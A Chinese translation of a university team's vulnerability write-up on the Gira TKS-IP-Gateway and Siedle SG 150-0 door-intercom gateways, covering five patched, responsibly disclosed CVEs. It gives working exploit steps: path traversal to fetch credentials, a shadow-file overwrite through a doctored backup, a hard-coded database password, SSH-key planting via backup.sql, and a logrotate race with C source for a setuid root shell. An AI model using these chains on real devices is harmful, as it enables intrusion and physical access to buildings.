破门而入:智能门禁系统安全

 

物理攻击电脑的方法有很多,例如插入一个“橡皮鸭” 或者物理的键盘记录器。事实上,接触这些电脑和服务器往往是受限的。这些威胁矢量的视角是“当它们已经在房间的时候,我们就完了”。然而,要是反过来呢?不是你的服务器、电脑、软件依赖于物理安全,而是你的物理安全依赖于电脑的安全呢?所有的智能门锁都是如此。我们研究了网关系统,它增强了传统的门铃解决方案,使用户可以从网络(甚至Internet)进行控制。这两个网关分别由 Siedle、Gira 制造。我们找到了可用的固件并开始漏洞挖掘。本文讲述我们发现的漏洞。

 

(Virtual) HITBAMS20 Talk

我们的演讲主题被 HIBTAMS2020 会议采纳,我们原计划带着设备做现场演示。然而,由于新冠肺炎疫情的影响,线下的会议被取消了。我仍然通过线上的方式举办了演讲。

此外,在这篇博文中,我们将详细介绍攻击链和技术细节。稍后,我们的演示和演讲内容会放在这里。

 

我们发现了 什么?

我们获得了两个网关的 root 权限以及 WEB 端的管理员权限。我们把门连接到这些存在漏洞的设备上,这就让我们能够把其他人关在门外,并具备对物理(真实的门禁)的访问权限。在本文的下面可以找到更多的利用链的技术细节。

MITRE 给了我们 5 个 CVE 编号:


  • CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7 存在未授权的路径遍历漏洞,这使得攻击者能够下载应用程序的数据库。结合 CVE-2020-10795 能够拿到 root 的远程访问权限。
  • CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7 在 WEB 前端中的备份功能处存在授权的远程代码执行漏洞。 结合 CVE-2020-10794 能够拿到 root 的远程访问权限。
  • CVE-2020-9473: The S. Siedle & Soehne SG 150-0 1.2.4版本之前的智能网关,存在一个没有密码的 ftp ssh 用户。通过使用一个供给链,在当前网络中的攻击者能够拿到网关的 root 权限。
  • CVE-2020-9474: The S. Siedle & Soehne SG 150-0 1.2.4版本之前的智能网关,可以利用WEB 前端的备份功能实现远程代码执行。通过使用了一个攻击链,在当前网络中的攻击者能够拿到网关的 root 权限。
  • CVE-2020-9475: The S. Siedle & Soehne SG 150-0 1.2.4版本 之前的智能网关,通过 logrotate 的条件竞争实现本地权限提升。通过使用一个攻击链,在当前网络中的攻击者能够拿到网关的 root 权限。

 

负责任的漏洞披露

我们联系了两个供应商并把我们的发现告知了他们。到现在,这些系统已经进行了正确的升级,所有的漏洞对它们不再有效。Siedle 甚至给了我们一个未编译的测试固件镜像,这样我们就能够在更新发布之前检验是否修复了所有的缺陷。总体上来说,我们对两个供应商的回应感到高兴,显然他们意识到了这些发现的重要性。两个供应商立即在他们自己的设置中验证了它们,并专业地解决了问题。

 

Gira 利用链

拆掉外壳的 Gira TKS-IP-Gateway

CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7 未授权路径遍历

当我们开始研究 Gira TKS IP-Gateway 时,我们在 web 接口发现了一个路径遍历漏洞,利用这个漏洞我们下载了 /app/db/gira.db文件。在这个文件有 admin 的 md5-hash 的密码。如果密码的强度不够是很容易通过暴力破解获得密码的。我们下载的/app/sdintern/messages存在相同的漏洞。如果最近有人登录设备,密码会以明文的形式保存在在这个文件中。得到了登录凭证,这使得我们能够登录 web 前端重配设备或打开与之相连的门。

CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7 授权远程代码执行

现在我们已经获得了 web 界面上的管理权限,我们对 gira.db 进行了备份。这个备份使用了 tar 存档,我们可以打开并修改它:

sqlite3 backup/gira-V0101.db "UPDATE networksettings SET Name = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'"

以上代码中把 sed 命令放到了数据库中。在我们修改的 tar 归档文件中的 sedheg 文件替换 root 用户以及D3.IPGWvG! 用户的密码。它是看起来是这样的。

#!/bin/sh

s/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7//D3.IPGWvG!:$1$eV3NNo/h$beH8VTIROWlVZKcrHvhu70/
s/root:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7//root:$1$eV3NNo/h$beH8VTIROWlVZKcrHvhu70/

两个用户都拥有 root 权限,或者可以使用 sudo 提权。准备好之后,我们对修改后的文件重打包。然后,我们使用 WEB 端提供的恢复功能上传我们修改后的备份文件。这触发了我们伪造的新网络设置(标记为,==> ‘),$NETWORK 的值来自于我们修改后的 sqlite 数据库。

    [...]
    NETWORK=`/opt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networksettings;"`
    [...]
==> HNAME=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $2}'`;
    NS=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $3}'`;
    BOOTMODE=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $4}'`;
    GW=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $5}'`;
    IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}'`;
    NETMASK=`echo $NETWORK | /usr/bin/awk -F"|" '{print $7}'`;

然后在 /app/bin/network.sh中的 sed 命令用到了 “$HNAME” 变量 。

    echo "0" > /tmp/dhcp
    echo "nameserver 192.168.0.1" > /etc/resolv.conf 
    echo -en "HOSTNAME: $HNAME"
    echo -en ""
    echo "$HNAME" > /etc/hostname
==> sed 's/'@NAME@'/'$HNAME'/g' /usr/local/etc/avahi/avahi-daemon.conf-tmpl > /usr/local/etc/avahi/avahi-daemon.conf

使用以上方法,我们把 root 的密码修改为了已知的。登录设备的最后一步,我们需要 dropbear ssh 包。 dropbear 是小型的嵌入式系统专用的 SSH 服务端和客户端工具。

但是设备中的版本太低以至于不兼容现代的 openssh 客户端。 使用命令 dbclient -p<port> root@<ip.address.of.target> 我们登录并获得了设备的 root 权限。

POC视频地址:https://vimeo.com/410960486

 

Siedle 利用链

拆掉外壳的 S. Siedle & Söhne SG 150-0 智能网关

CVE-2020-9473: S. Siedle & Soehne SG 150-0 Smart Gateway 1.2.4版本之前 无密码的FTP 用户

在 Siedle SG-150 这个案例中,我们进入系统的入口点是给 ftp 用户设置一个密码。之所以可以这样,是因为固件中没有包含这个用户的任何密码。通过 ssh 设置密码后,我们使用 ssh -v -N ftp@<ip.of.the.gateway> -L 1337:127.0.0.1:63601绑定内部的 MYSQL 数据库端口到我们本地的 1337端口。

在公开的固件的一些 shell 脚本中和配置文件中,我们找到了数据库 root 用户的静态密码 “siedle”。使用这个密码和之前设置的端口转发,我们使用命令mysql -h 127.0.0.1 -u root -P 1337 -psiedle以管理员的身份访问了数据库。

数据库有不同的用途,其中一个是存储用于 web 应用程序管理设备的凭据。拥有数据库的 root 权限后我们能够给 web 应用添加一个具备管理员权限的用户。至此,我们能够控制和重新配置这些已经连接到网关上的设备。这授予了打开已连接网关的智能门的能力。

CVE-2020-9474: S. Siedle & Soehne SG 150-0 Smart Gateway 1.2.4版本之前 任意代码执行

这将带领我们走向下一步:拿到 shell。在 web 应用中,我们能够下载应用程序的配置文件 config.bak。备份文件使用了 squashfs 文件系统,解包打开后里面有一个名为backup.sql的文件。我们生成了一个 ssh 密钥并把以下的四行代码添加到 backup.sql 文件的开头。

! mkdir /var/lib/mysql/.ssh
! echo <ssh pulic key> >> /var/lib/sql/.ssh/authorized_keys
! chmod 0700 /var/lib/mysql/.ssh
! chmod 0600 /var/lib/mysql/.ssh/authorized_keys

译者注:!表示运行系统函数, 另一种更常见的写法是 system

然后,我们重打包 squashfs 并把它上传给 web 应用的恢复程序。在等待几分钟之后,恢复程序执行完毕,我们就能通过 ssh 密钥以 mysql 用户的身份访问设备。当我们修改的文件中的命令执行之后,mysql 用户的 ~/.ssh/authorized_key就生成了。

CVE-2020-9475: S. Siedle & Soehne SG 150-0 Smart Gateway 1.2.4版本之前 本地权限提升

为了提升我们的权限,用到了 logrotate 脚本中的一个错误配置。此外,我们写了三个小程序,分别命名为 bind、symlink 和 root。这些程序的源码会附在文章的末尾。我们已经有了 shell 的访问权限,我们交叉编译这三个ARM平台的应用程序,并将他们拷贝到设备上。

我们想要触发 MySQL logrotate 脚本的如下部分。

MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then
    $MYADMIN flush-logs
else
    # manually move it, to mimic above behaviour
    mv -f /var/log/mysql/mysql.log /var/log/mysql/mysql.log-old
    # recreate mysql.log, else logrotate would miss it
    touch /var/log/mysql/mysql.log
    chown mysql.mysql /var/log/mysql/mysql.log
    chmod 0664 /var/log/mysql/mysql.log
fi

为了触发这部分的代码,我们需要促使 mysqladmin ping 返回非零值,这种情况只有当 mysql 服务停止时才会发生 。更改凭证或者甚至删整个数据都无助于事,mysqladmin 的返回值仍旧是 0。我们需要把数据库处于不可用的状态。如果你使用 systemd 关闭服务,系统会自动重启服务。我们需要处理这个问题,于是我们的第一个脚本(bind)就出现了。我们使用它绑定 mysql 数据库所使用的 63601 端口。

while true; do ./bind 63601; sleep 1; done

在第二个终端中,我们关闭数据库。由于数据库使用的端口已经被占用,在数据库服务重启时绑定端口失败从而进入了挂起状态。因为 mysql 会在关闭与开启之间释放端口,所以我们可以在数据库服务关闭和启动之间运行,用我们的程序阻塞端口。使用这种方法 mysqladmin返回 1,于是我们可以跳转到 else 代码分支下。

然后,需要用到我们的第二个程序:symlink。这个程序的目标是在/etc/logrotate.d/目录下创建一个我们可控可写的文件。logrotate 会以 root 权限执行这个目录下的所有脚本。为了实现上述目标,我们使用 logrotate 脚本清理 MySQL 日志文件,并设法创建一个从符号链接,这个链接由 /var/log/mysql/mysql.log 指向一个名为 /etc/logrotate.d/rootme的文件。此时还没有 rootme 文件,但这并不是问题。伴随着符号链接,logrotate 以 root 权限创建了 /etc/logrotate.d/rootme文件,并通过 chown把所属权给了 mysql 用户。为了避免 mysql 写入我们之前准备的文件,我们需要删除这个符号链接并为它创建一个新的/var/log/mysql/mysql.log文件。然后,我用以下内容填充/etc/logrotate.de/rootme文件:

/var/log/mysql/rootme.log {
        delaycompress
        nosharedscripts
        copy
        firstaction
            chown root:root /tmp/root
            chmod +s /tmp/root
            mv -f /var/log/mysql/rootme.log /var/log/mysql/rootme.log-old
            touch /var/log/mysql/rootme.log
            chown mysql.mysql /var/log/mysql/rootme.log
            chmod 0664 /var/log/mysql/rootme.log
         fi
        endscript
        lastaction
            mv -f /var/log/mysql/rootme.log-old /var/log/mysql/rootme.log.1
        endscript
}

/tmp/root是我们的第三个程序,也就是我们的 suid root shell。以上内容完成之后,我们需要填充 /var/log/mysql/rootme.log文件再次触发 logrotate。现在,我们的suid 二进制文件有了 root 权限,可以使用这种方式:/tmp/root passwd root修改 root 密码。现在,我们修改了 root 用户的密码,获得了系统所有权。

POC视频地址:https://vimeo.com/410961877

 

关于研究人员

我们是一群在学校工作的学生。这项研究是由朱利安·贝尔、塞巴斯蒂安·尼夫、拉尔斯·伯hop和维克多·施吕特进行的。这学期,我们在柏林工业大学学习,并在学校做兼职。在假期,我们有更多的可用时间,这使我们能够做一些较大的项目,如这个。最后但并非最不重要的是,我们在的空闲时间与我们的朋友从研究小组计算机安全(AG Rechnersicherheit)一起参加了 CTF 竞赛。

附录

bind.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

void error(const char *msg) {
    perror(msg);
    exit(1);
}

int main(int argc, char **argv) {
     int sockfd, newsockfd, portno, pid;
     socklen_t clilen;
     struct sockaddr_in serv_addr, cli_addr;

     if (argc < 2) {
         fprintf(stderr,"ERROR, no port providedn");
         exit(1);
     }
     sockfd = socket(AF_INET, SOCK_STREAM, 0);

     if (sockfd < 0) 
        error("ERROR opening socket");

     bzero((char *) &serv_addr, sizeof(serv_addr));
     portno = atoi(argv[1]);
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 
         error("ERROR on binding");
     listen(sockfd,5);
     accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
     return 0;
}

symlink.c

#include <unistd.h>

int main(int argc, char **argv) {
  int ret;

  char *watchPath = argv[1];
  char *linkPath = argv[2];

  while(1) {
      ret = symlink(linkPath, watchPath);
      if (ret == 0)
        return 0;
  }
  return 0;
}

root.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

char *join_command(char **commands) {
    char *res = (char *)malloc(strlen(commands[0]));
    strncpy(res, commands[0], strlen(commands[0]));

    for (char **command = ++commands; *command != NULL; command++) {
        res = (char *)realloc(res, strlen(res) + strlen(*command) + 2);
        strcat(res, " ");
        strcat(res, *command);
    }
    return res;
}

int main(int argc, char **argv) {
    if (argc < 2) {
        printf("usage: ./root <command>");
    }

    setuid(0);
    setgid(0);
    system(join_command(++argv));

    return 0;
}
(完)